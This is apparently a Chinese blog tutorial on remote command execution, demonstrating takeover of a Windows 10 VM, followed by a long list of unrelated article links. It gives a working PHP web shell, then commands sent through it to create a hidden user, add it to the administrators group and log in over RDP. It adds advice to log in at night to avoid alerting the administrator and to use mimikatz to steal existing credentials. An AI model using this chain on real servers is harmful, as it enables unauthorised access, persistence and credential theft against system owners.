RCE远程控制Windows服务器——以win10虚拟机为例
RCE简介
RCE英文全称
remote command/code execute
分类
- 远程命令执行ping 应用系统在设计的时候就预备提供给用户一个指定的远程命令操作的接口,常用的用ping命令来检测网络是否连通,分析判定网络故障。比如路由器、防火墙等上面会有一个web界面用来进行ping操作 但是开发者在完成这个功能时,没有做好安全控制,导致攻击者可以从这个接口提交“意料之外”的命令
- 远程代码执行evel 开发者在输入点没有做过滤,或者过滤处理的不完全。导致后台把用户输入的数据当作代码的一部分,拼接到系统命令中去执行了
简单来说,远程命令执行,执行的是命令行语句,比如ipconfig,net start,ping ……
而远程代码执行,执行的是php语句,比如phpinfo();……
危险函数
PHP里的危险函数
1、 system
2、 exec
3、 shell_exec
4、 passthru
5、 popen
6、 proc_popen
7 ………………
Windows系统命令拼接
(虽然现在大部分网站都是在linux环境下部署,但是大部分的个人电脑都是windows系统,所以这里以windows为例)
准备
首先,审计一下网站代码,是否有上面提到过的危险函数,可以用Ctrl+F
来查找
这里我用phpstudy搭了一个网站,里面有个res.php文件。
res.php
<?php
$a=$_GET['12345']; //这里12345是密码
system($a);
?>
当然,正常网站一个php文件里不可能只有这么两行内容,这里只是为了方便演示,把其他的无关内容都删掉掉了
就算没找到危险函数也没关系,可以看看能不能利用文件上传漏洞,自己上传一个危险文件上去
连接
在主机上浏览网页 192.168.177.134 是ip 11111/res.php 是路径
报这个错正常,不影响使用
查看ip
?12345=ipconfig
‘12345’ 就是前面所说的的密码
查看身份
?12345=whoami
administrator ?管理员身份,这就得偷笑了
新建账号
新建一个新用户
?12345=net user ihszg 123456 /add
账号是ihszg,密码是123456
提权账号
将ihszg这个用户提到管理员组(因为当前登录账号是administrator,属于管理员组,所以有资格将其他用户提权到管理员组)
?12345=net localgroup administrators ihszg /add
如果当前用户不是管理员的话,成功率就低了
因为除了管理员,默认只有白名单里的普通用户才允被许远程连接,显然,管理员不会将你的的ip地址加入白名单。
因此建议尽量不要用管理员身份登录电脑(网站),需要用管理员身份运行的场合再临时提权,这样或许能让你的服务器多坚持一秒钟
登录账号
win+r
,再输入mstsc
,回车,开启远程连接服务
输入对方的ip,点击连接
这里报错,说对方没有开启远程连接 那就开启虚拟机的远程连接
允许远程访问
这步其实在准备工作中就应该做的,因为正常网站都会开启远程连接的,毕竟总不能让运维每次登录服务器都跑去机房
进入虚拟机,控制面板/系统和安全/系统/允许远程访问
选择应用
,确定
输入刚刚新建的账号、密码
选择——否,现在登录会将正在登录的用户挤下线,引起管理员的警觉,当然要等到三更半夜其他用户都休息的时候再登录。
所以小心你身边的夜猫子,说不定他就在觊觎你电脑里的资源
选择是,登录成功
当然,新建新用户不是长久之计,管理员一看到多了个登录的账号,怎么会不起疑心呢
所以这里推荐一个 mimikatz 工具,可以查看windows系统的当前登录过账号和密码。看到账号密码后,就可以删除这个新建的用户,然后利用已有的账号密码登录,具体如何使用mimikatz可以看这篇文章
- 双拼市场好!米友售出域名chuijia.com
- Elasticsearch--数据索引
- python爬虫(一)_爬虫原理和数据抓取
- 域名tbw.vip一口价58888元交易
- Tomcat服务器+JSP页面+MySQL数据库网站部署
- 一步步教你理解LSTM
- 2017下半年IT行业快速发展的趋势
- 2018年人工智能和机器学习路在何方?听听美国公司怎么做
- Kubernetes服务网格(第10部分):服务网格API
- Kubernetes的服务网格(第2部分):Pods目前看来还是很棒的
- Docker / OSX快速入门
- HDOJ 1005
- Docker多容器业务流程实时迁移和Jelastic中微服务的高可用性
- Debian云工具
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 贪心法--哈夫曼编码
- 基于maven+ssm的增删改查之使用mybatis逆向工程生成相关文件
- Arrays 的二分查找
- (四十四)golang--协程(goroutine)和管道(channel)相结合实例
- 基于maven+ssm的增删改查之测试相关ssm环境是否成功
- 基于maven+ssm的增删改查之带分页的显示员工相关信息(基于bootstrap)
- (四十五)golang--反射
- 基于maven+ssm的增删改查之前后端之间使用json进行交互(显示员工信息)
- 动态规划--矿工挖矿
- 基于maven+ssm的增删改查之添加员工实现
- MyBatis 构造动态 SQL 语句
- 基于maven+ssm的增删改查之前端校验数据合法性
- 基于maven+ssm的增删改查之spring+springmvc+mybatis环境搭建
- STS 创建 Maven 项目填坑
- latex之在windows环境下能够在latex中使用中文